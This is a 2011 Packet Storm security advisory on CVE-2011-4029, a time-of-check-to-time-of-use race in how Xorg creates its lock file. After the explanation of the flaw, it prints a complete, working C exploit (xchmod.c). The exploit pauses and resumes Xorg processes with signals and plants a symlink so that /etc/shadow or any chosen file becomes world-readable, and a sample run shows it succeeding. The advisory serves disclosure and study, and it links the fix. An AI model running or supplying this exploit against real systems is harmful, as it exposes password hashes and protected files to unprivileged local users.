Xorg Permission Change

2011-10-27T00:00:00
ID PACKETSTORM:106307
Type packetstorm
Reporter vladz
Modified 2011-10-27T00:00:00

Description

                                        
                                            `Author: vladz <vladz@devzero.fr> (new on twitter @v14dz!)  
Description: Xorg permission change vulnerability (CVE-2011-4029)  
Product: X.Org (http://www.x.org/releases/)  
Affected: Xorg 1.4 to 1.11.2 in all configurations. Xorg 1.3 and  
earlier if built with the USE_CHMOD preprocessor identifier  
  
PoC tested on: Debian 6.0.2 up to date with X default configuration issued  
from the xserver-xorg-core package (version 2:1.7.7-13)  
  
Follow-up: 2011/10/07 - X.org foundation informed  
2011/10/09 - Distros informed  
2011/10/18 - Issue/patch publicly announced  
  
  
Introduction  
------------  
  
I've found a file permission change vulnerability in the way that Xorg  
creates its temporary lock file "/tmp/.tXn-lock" (where 'n' is the X  
display). When exploited, this vulnerability allows a non-root user to set  
the read permission for all users on any file or directory.  
  
For the exploit to succeed the local attacker needs to be able to run the  
X.Org X11 X server.  
  
NOTE: At this time (26/10/2010), some distros are still vulnerable (see  
"Fix & Patch" above for more informations).  
  
  
Description  
-----------  
  
Once started, Xorg attempts to create a lock file "/tmp/.Xn-lock" in a  
secure manner: it creates/opens a temporary lock file "/tmp/.tXn-lock"  
with the O_EXCL flag, writes the current PID into it, links it to the final  
"/tmp/.Xn-lock" and unlink "/tmp/.tXn-lock". Here is the code:  
  
$ cat -n os/utils.c  
[...]  
288 /*  
289 * Create a temporary file containing our PID. Attempt three times  
290 * to create the file.  
291 */  
292 StillLocking = TRUE;  
293 i = 0;  
294 do {  
295 i++;  
296 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);  
297 if (lfd < 0)  
298 sleep(2);  
299 else  
300 break;  
301 } while (i < 3);  
302 if (lfd < 0) {  
303 unlink(tmp);  
304 i = 0;  
305 do {  
306 i++;  
307 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);  
308 if (lfd < 0)  
309 sleep(2);  
310 else  
311 break;  
312 } while (i < 3);  
313 }  
314 if (lfd < 0)  
315 FatalError("Could not create lock file in %s\n", tmp);  
316 (void) sprintf(pid_str, "%10ld\n", (long)getpid());  
317 (void) write(lfd, pid_str, 11);  
318 (void) chmod(tmp, 0444);  
319 (void) close(lfd);  
320   
[...]  
328 haslock = (link(tmp,LockFile) == 0);  
329 if (haslock) {  
330 /*  
331 * We're done.  
332 */  
333 break;  
334 }  
335 else {  
336 /*  
337 * Read the pid from the existing file  
338 */  
339 lfd = open(LockFile, O_RDONLY);  
340 if (lfd < 0) {  
341 unlink(tmp);  
342 FatalError("Can't read lock file %s\n", LockFile);  
343 }  
[...]  
  
As a reminder, chmod() operates on filenames rather than on file handles.  
So in this case, at line 318, there is no guarantee that the file  
"/tmp/.tXn-lock" still refers to the same file on disk that it did when it  
was opened via the open() call. See TOCTOU vulnerability explained on  
OWASP[1] for more informations.  
  
The idea here is to remove and replace (by a malicious symbolic link), the  
"tmp" file ("/tmp/.tXn-lock") between the call to open() at line 296 and  
the call to chmod() at line 318. But for a non-root user, removing this  
file looks impossible as it is located in a sticky bit directory ("/tmp")  
and owned by root.  
  
But, what if we launch two Xorg processes with an initial offset (few  
milliseconds) so that the first process unlink() (line 341) the "tmp" file  
right before the second process calls chmod()? This race condition would   
consists in placing unlink() between open() and chmod(). It sounds very   
difficult because there is only one system call between them (and maybe not  
enough time to perform unlink() and create our symbolic link):  
  
# strace X :1  
[...]  
open("/tmp/.tX1-lock", O_WRONLY|O_CREAT|O_EXCL, 0644) = 0  
write(0, " 2192\n", 11) = 11  
chmod("/tmp/.tX1-lock", 0444) = 0  
  
Anyway, we can make this possible by sending signals SIGCONT and SIGSTOP[2]  
to our process. As they are not trapped by the program, they will allow us  
to control and regulate (by stopping and resuming) the execution flow.  
  
Here is how to proceed:  
  
1) launch the X wrapper (pid=n)  
2) stop it (by sending SIGSTOP to 'n') rigth after "/tmp/.tX1-lock" is  
created (this actually means that the next instruction is chmod())  
3) launch another X process to unlink() /tmp/.tX1-lock  
4) create the symbolic link "/tmp/.tX1-lock" -> "/etc/shadow"  
5) send SIGCONT to 'n' to perform chmod() on our link  
  
The minor problem is that when launching X several times (for race  
purpose), it makes the console switch between X and TTY, and in some cases,  
it freezes the screen and disturbs the attack. The solution is to make X  
exit before it switches by creating a link "/tmp/.Xn-lock" (real lock  
filename) to a file that doesn't exist. This will make the open() call  
fails at line 339, and quit with FatalError() at 342.  
  
So before our 5 steps, we just need to add:  
  
0) create the symbolic link "/tmp/.X1-lock" -> "/dontexist"  
  
  
Proof Of Concept  
----------------  
  
/* xchmod.c -- Xorg file permission change vulnerability PoC  
  
This PoC sets the rights 444 (read for all) on any file specified as  
argument (default file is "/etc/shadow"). Another good use for an  
attacker would be to dump an entire partition in order to disclose its  
full content later (via a "mount -o loop"). Made for EDUCATIONAL  
PURPOSES ONLY! CVE-2011-4029 has been assigned.  
  
In some configurations, this exploit must be launched from a TTY  
(switch by typing Ctrl-Alt-Fn).  
  
Tested on Debian 6.0.2 up to date with X default configuration issued  
from the xserver-xorg-core package (version 2:1.7.7-13).  
  
Compile: cc xchmod.c -o xchmod  
Usage: ./xchmod [/path/to/file] (default file is /etc/shadow)  
  
$ ls -l /etc/shadow  
-rw-r----- 1 root shadow 1072 Aug 7 07:10 /etc/shadow  
$ ./xchmod  
[+] Trying to stop a Xorg process right before chmod()  
[+] Process ID 4134 stopped (SIGSTOP sent)  
[+] Removing /tmp/.tX1-lock by launching another Xorg process  
[+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)  
[+] Process ID 4134 resumed (SIGCONT sent)  
[+] Attack succeeded, ls -l /etc/shadow:  
-r--r--r-- 1 root shadow 1072 Aug 7 07:10 /etc/shadow  
  
-----------------------------------------------------------------------  
  
"THE BEER-WARE LICENSE" (Revision 42):  
<vladz@devzero.fr> wrote this file. As long as you retain this notice  
you can do whatever you want with this stuff. If we meet some day, and  
you think this stuff is worth it, you can buy me a beer in return. -V.  
*/  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <unistd.h>  
#include <stdio.h>  
#include <syscall.h>  
#include <signal.h>  
#include <string.h>  
#include <stdlib.h>  
  
  
#define XORG_BIN "/usr/bin/X"  
#define DISPLAY ":1"  
  
  
char *get_tty_number(void) {  
char tty_name[128], *ptr;  
  
memset(tty_name, '\0', sizeof(tty_name));  
readlink("/proc/self/fd/0", tty_name, sizeof(tty_name));  
  
if ((ptr = strstr(tty_name, "tty")))  
return ptr + 3;  
  
return NULL;  
}  
  
int launch_xorg_instance(void) {  
int child_pid;  
char *opt[] = { XORG_BIN, DISPLAY, NULL };  
  
if ((child_pid = fork()) == 0) {  
close(1); close(2);  
execve(XORG_BIN, opt, NULL);  
_exit(0);  
}  
  
return child_pid;  
}  
  
void show_target_file(char *file) {  
char cmd[128];  
  
memset(cmd, '\0', sizeof(cmd));  
sprintf(cmd, "/bin/ls -l %s", file);  
system(cmd);  
}  
  
int main(int argc, char **argv) {  
pid_t proc;  
struct stat st;  
int n, ret, current_attempt = 800;  
char target_file[128], lockfiletmp[20], lockfile[20], *ttyno;  
  
if (argc < 2)  
strcpy(target_file, "/etc/shadow");  
else  
strcpy(target_file, argv[1]);  
  
sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY+1);  
sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY+1);  
  
/* we must ensure that Xorg is not already running on this display */  
if (stat(lockfile, &st) == 0) {  
printf("[-] %s exists, maybe Xorg is already running on this"  
" display? Choose another display by editing the DISPLAY"  
" attributes.\n", lockfile);  
return 1;   
}  
  
/* this avoid execution to continue (and automatically switch to another  
* TTY). Xorg quits with fatal error because the file that /tmp/.X?-lock  
* links does not exist.  
*/  
symlink("/dontexist", lockfile);  
  
/* we have to force this mask to not comprise our later checks */  
umask(077);  
  
ttyno = get_tty_number();  
  
printf("[+] Trying to stop a Xorg process right before chmod()\n");  
while (--current_attempt) {  
proc = launch_xorg_instance();  
  
n = 0;  
while (n++ < 10000)  
if ((ret = syscall(SYS_stat, lockfiletmp, &st)) == 0)  
break;  
  
if (ret == 0) {  
syscall(SYS_kill, proc, SIGSTOP);  
printf("[+] Process ID %d stopped (SIGSTOP sent)\n", proc);  
  
stat(lockfiletmp, &st);  
if ((st.st_mode & 4) == 0)  
break;  
  
printf("[-] %s file has wrong rights (%o)\n"  
"[+] removing it by launching another Xorg process\n",  
lockfiletmp, st.st_mode);  
launch_xorg_instance();  
sleep(7);  
}  
  
kill(proc, SIGKILL);  
}  
  
if (current_attempt == 0) {  
printf("[-] Attack failed.\n");  
  
if (!ttyno)  
printf("Try with console ownership: switch to a TTY* by using "  
"Ctrl-Alt-F[1-6] and try again.\n");  
  
return 1;  
}  
  
printf("[+] Removing %s by launching another Xorg process\n",  
lockfiletmp);  
launch_xorg_instance();  
sleep(7);  
  
if (stat(lockfiletmp, &st) == 0) {  
printf("[-] %s lock file still here... :(\n", lockfiletmp);  
return 1;  
}  
  
printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp,  
target_file);  
symlink(target_file, lockfiletmp);  
  
printf("[+] Process ID %d resumed (SIGCONT sent)\n", proc);  
kill(proc, SIGCONT);  
  
/* wait for chmod() to finish */  
usleep(300000);  
  
stat(target_file, &st);  
if (!(st.st_mode & 004)) {  
printf("[-] Attack failed, rights are %o. Try again!\n", st.st_mode);  
return 1;  
}  
  
/* cleaning temporary link */  
unlink(lockfile);  
  
printf("[+] Attack succeeded, ls -l %s:\n", target_file);  
show_target_file(target_file);  
  
return 0;  
}  
  
  
Fix & Patch  
------------  
  
A fix for this vulnerability is available and will be included in xserver  
1.11.2 and xserver 1.12.   
  
http://cgit.freedesktop.org/xorg/xserver/commit/?id=b67581cf825940fdf52bf2e0af4330e695d724a4  
  
Some distros released new Xorg packages (Ubuntu, Gentoo) since others (like  
Debian) judge this as a non-critical issue:  
  
http://security-tracker.debian.org/tracker/CVE-2011-4029  
  
  
Footnotes & links  
-----------------  
  
[1] https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU  
  
[2] http://en.wikipedia.org/wiki/SIGCONT  
"SIGCONT is the signal sent to restart a process previously paused by  
the SIGSTOP signal".  
  
  
`